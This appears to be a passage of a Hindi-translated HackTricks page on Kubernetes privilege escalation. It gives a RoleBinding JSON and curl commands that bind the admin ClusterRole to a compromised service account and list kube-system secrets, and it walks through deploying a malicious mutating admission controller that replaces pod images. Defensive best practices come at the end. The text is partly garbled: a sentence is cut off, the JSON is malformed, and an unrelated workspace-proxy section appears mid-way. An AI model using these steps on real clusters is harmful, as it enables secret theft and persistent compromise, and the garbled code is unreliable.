एक मौजूदा रोल भी है जिसका नाम list-pods है। इस रोल के साथ कोई भी उपयोगकर्ता default नेमस्पेस पर सभी पॉड्स को सूचीबद्ध कर सकता है। उपयोगकर्ता sa7 को किसी भी रोल को संपादित करने की अनुमति होनी चाहिए, इसलिए देखते हैं कि जब यह "सीक्रेट्स" संसाधन को रोल के संसाधनों में जोड़ने की कोशिश करता है तो क्या होता है।

ऐसा करने के बाद, हमें एक त्रुटि "forbidden: attempt to grant extra privileges" (चित्र 31) प्राप्त होगी, क्योंकि हालांकि हमारे sa7 उपयोगकर्ता को किसी भी संसाधन के लिए रोल अपडेट करने की अनुमति है, वह केवल उन संसाधनों के लिए रोल अपडेट कर सकता है जिनके लिए उसकी अनुमति होती है।

RoleBindings/ClusterRoleBindings प्राप्त करें और पैच करें

शायद यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है उसी कारण के कारण पिछले खंड में स्पष्ट किया गया है। यदि आपके पास पहले से अनुमतियाँ नहीं हैं तो आप खुद को या एक अलग SA को कुछ अनुमतियाँ देने के लिए एक रोलबाइंडिंग नहीं बना/संशोधित कर सकते हैं।

Rolebindings बनाने की अनुमति एक उपयोगकर्ता को सेवा खाते को रोलों से बाइंड करने की अनुमति देती है। यह अनुमति विशेषाधिकार वृद्धि की ओर ले जा सकती है क्योंकि यह उपयोगकर्ता को एक प्रभावित सेवा खाते को व्यवस्थापक विशेषाधिकारों से बाइंड करने की अनुमति देती है।

निम्नलिखित ClusterRole विशेष क्रिया bind का उपयोग कर रहा है जो उपयोगकर्ता को admin ClusterRole (डिफ़ॉल्ट उच्च विशेषाधिकार वाला रोल) के साथ एक RoleBinding बनाने और इस

{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespaces": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "compromised-svc"
"namespace": "default"
}
]
}

इस JSON फ़ाइल का उद्देश्य है कि हम व्यवस्थापक "ClusterRole" (लाइन 11) को संकटपूर्ण सेवा खाते (लाइन 16) से बाँधें।

अब, हमें केवल निम्नलिखित CURL कमांड का उपयोग करके API को हमारे JSON को POST अनुरोध के रूप में भेजना है:

curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json

जब एडमिन रोल "compromised-svc" सेवा अकाउंट से बाउंड हो जाता है, हम इस कंप्रोमाइज़्ड सेवा अकाउंट टोकन का उपयोग करके सीक्रेट्स की सूची बना सकते हैं। निम्नलिखित CURL कमांड इस काम के लिए उपयोगी होगी:

curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret

अन्य हमले

साइडकार प्रॉक्सी ऐप

डिफ़ॉल्ट रूप से पॉड के बीच संचार में कोई एन्क्रिप्शन नहीं होता है। पॉड से पॉड तक, दो-तरफा, म्यूचुअल प्रमाणीकरण।

साइडकार प्रॉक्सी ऐप बनाएं

अपना .yaml बनाएं

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

अपने .yaml फ़ाइल को संपादित करें और अनटिक करें लाइनों को जोड़ें:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

अद्यतन करें: अगर आप एक वर्कस्पेस उपयोग कर रहे हैं, तो आप अपने वर्कस्पेस के लिए एक विशेष प्रॉक्सी कैस्टमाइज़ कर सकते हैं। इसके लिए, आपको अपने वर्कस्पेस के लिए एक विशेष प्रॉक्सी बनाने की आवश्यकता होगी और फिर आप उस प्रॉक्सी का उपयोग करके अपने वर्कस्पेस के लिए एक विशेष प्रॉक्सी कैस्टमाइज़ कर सकते हैं। इसके लिए, आपको निम्न चरणों का पालन करना होगा:

  1. वर्कस्पेस डिरेक्टरी में जाएं।

  2. एक नया निर्देशिका बनाएं और उसे .theia नामक करें।

  3. .theia नामक निर्देशिका में जाएं।

  4. एक नया फ़ाइल बनाएं और उसे settings.json नामक करें।

  5. settings.json फ़ाइल में निम्न कोड को जोड़ें:

{
  "http.proxy": "http://your-proxy-address:your-proxy-port",
  "https.proxy": "http://your-proxy-address:your-proxy-port",
  "http.proxyStrictSSL": false
}

यहां, your-proxy-address और your-proxy-port को अपने प्रॉक्सी सर्वर के वास्तविक पते और पोर्ट संख्या से बदलें।

  1. फ़ाइल को सहेजें और वर्कस्पेस को रीस्टार्ट करें।

अब, जब आप अपने वर्कस्पेस में किसी भी वेब पेज को खोलेंगे, वह प्रॉक्सी के माध्यम से लोड होगा।

kubectl logs app -C proxy

अधिक जानकारी के लिए: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

दुष्ट Admission Controller

एक admission controller एक कोड का टुकड़ा होता है जो Kubernetes API सर्वर के लिए अनुरोधों को रोकता है परिस्थिति को स्थायी बनाने से पहले, लेकिन अनुरोध को प्रमाणित करने के बाद और अधिकृत करने के बाद

यदि किसी तरह से हमलावर को एक दुष्ट Mutationg Adminssion Controller संचालित करने की सफलता मिलती है, तो उसे पहले से प्रमाणित किए गए अनुरोधों को संशोधित करने की क्षमता होगी। यह प्रमाणित करने के लिए उच्चतम अवस्था में पहुंचने और अधिकांशतः क्लस्टर में स्थायी रहने की क्षमता होगी।

उदाहरण https://blog.rewanthtammana.com/creating-malicious-admission-controllers से:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

प्रतीक्षा करें जब तक वेबहुक सर्वर तैयार नहीं हो जाता है। स्थिति की जांच करें:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

एक बार जब हमारा क्षतिकारी म्यूटेटिंग वेबहुक चल रहा हो, तो चलिए एक नया पॉड डिप्लॉय करें।

kubectl run nginx --image nginx
kubectl get po -w

पोड स्थिति में परिवर्तन दिखाई देने तक फिर से प्रतीक्षा करें। अब, आप ErrImagePull त्रुटि देख सकते हैं। किसी भी क्वेरी के साथ छवि का नाम जांचें।

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
malicious-admission-controller.PNG

जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने nginx इमेज चलाने का प्रयास किया लेकिन अंतिम रूप में चलाया गया इमेज rewanthtammana/malicious-image है। क्या हुआ!!?

तकनीकी विवरण

हम बताएंगे कि क्या हुआ है। आपने चलाया गया ./deploy.sh स्क्रिप्ट, एक mutating webhook admission controller बनाया। नीचे दिए गए पंक्तियाँ mutating webhook admission controller के लिए उत्तरदायी हैं जो ऊपर के परिणामों के लिए जिम्मेदार हैं।

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

उपरोक्त स्निपेट प्रत्येक पॉड में पहली कंटेनर इमेज को rewanthtammana/malicious-image से बदल देता है।

सर्वोत्तम प्रथाएं

पॉड पर सेवा खाता टोकन की स्वत: माउंटिंग को रोकें

जब एक पॉड बनाया जाता है, तो यह स्वत: ही एक सेवा खाता को माउंट करता है (डिफ़ॉल्ट रूप में वही सेवा खाता होता है जो उसी नेमस्पेस में होता है)। हर पॉड को अपने अंदर से API का उपयोग करने की योग्यता की आवश्यकता नहीं होती है।

1.6+ संस्करण से, automountServiceAccountToken: false का उपयोग करके पॉड पर सेवा खाता टोकन की स्वत: माउंटिंग को रोका जा सकता है। इसे सेवा खातों या पॉड पर उपयोग किया जा सकता है।

सेवा खाते पर इसे इस तरह से जोड़ा जा सकता है:\

इसे पॉड पर भी इस्तेमाल किया जा सकता है:\

निश्चित उपयोगकर्ताओं को RoleBindings\ClusterRoleBindings दें

RoleBindings\ClusterRoleBindings बनाते समय, सुनिश्चित करें कि बाइंडिंग में रोल की आवश्यकता वाले केवल उपयोगकर्ता ही शामिल हों। ऐसे समूहों में अधिक नहीं रहने वाले उपयोगकर्ता भूलना आसान होता है।

ClusterRoles और ClusterRoleBindings के बजाय Roles और RoleBindings का उपयोग करें

ClusterRoles और ClusterRoleBindings का उपयोग करते समय, यह पूरे क्लस्टर पर लागू होता है। ऐसे समूह में एक उपयोगकर्ता के पास उसकी अनुमतियाँ सभी नेमस्पेस पर होती हैं, जो कभी-कभी अनावश्यक होता है। Roles और RoleBindings को एक विशिष्ट नेमस्पेस पर लागू किया जा सकता है और एक अन्य सुरक्षा स्तर प्रदान करते हैं।

स्वचालित उपकरणों का उपयोग करें

संदर्भ


हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

Last updated